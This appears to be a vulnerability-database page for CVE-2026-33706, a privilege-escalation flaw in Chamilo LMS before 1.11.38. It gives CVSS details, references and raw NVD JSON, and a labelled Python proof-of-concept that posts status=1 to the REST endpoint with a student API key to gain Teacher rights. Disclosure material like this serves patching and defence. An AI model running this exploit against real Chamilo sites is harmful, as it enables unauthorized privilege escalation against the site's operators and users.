CVE-2026-33706

Description

Chamilo LMS is a learning management system. Prior to 1.11.38, any authenticated user with a REST API key can modify their own status field via the update_user_from_username endpoint. A student (status=5) can change their status to Teacher/CourseManager (status=1), gaining course creation and management privileges. This vulnerability is fixed in 1.11.38.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:* - VULNERABLE

Chamilo LMS < 1.11.38

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Configuration
TARGET_URL = "http://target-chamilo-instance/main/webservices/api/rest.php"
API_KEY = "YOUR_STUDENT_API_KEY"
USERNAME = "attacker_student"

# Vulnerable payload
# Status 1 usually represents Teacher or Course Manager in Chamilo
payload = {
    "action": "update_user_from_username",
    "username": USERNAME,
    "status": "1",
    "api_key": API_KEY
}

try:
    print("[*] Attempting to exploit CVE-2026-33706...")
    response = requests.post(TARGET_URL, data=payload)
    
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Check if account status changed to Teacher.")
        print("[+] Response:", response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33706
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33706
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33706/
[4] VulDB https://vuldb.com/cve/CVE-2026-33706
[5] https://github.com/chamilo/chamilo-lms/commit/0acf8a196307c66c049f97f5ff76cf21c4a08127
[6] https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-3gqc-xr75-pcpw

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33706", "sourceIdentifier": "[email protected]", "published": "2026-04-10T19:16:23.800", "lastModified": "2026-04-16T18:27:48.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chamilo LMS is a learning management system. Prior to 1.11.38, any authenticated user with a REST API key can modify their own status field via the update_user_from_username endpoint. A student (status=5) can change their status to Teacher/CourseManager (status=1), gaining course creation and management privileges. This vulnerability is fixed in 1.11.38."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.11.38", "matchCriteriaId": "A4D0C5D2-6FA0-4532-8E3D-4EA111A50621"}]}]}], "references": [{"url": "https://github.com/chamilo/chamilo-lms/commit/0acf8a196307c66c049f97f5ff76cf21c4a08127", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-3gqc-xr75-pcpw", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}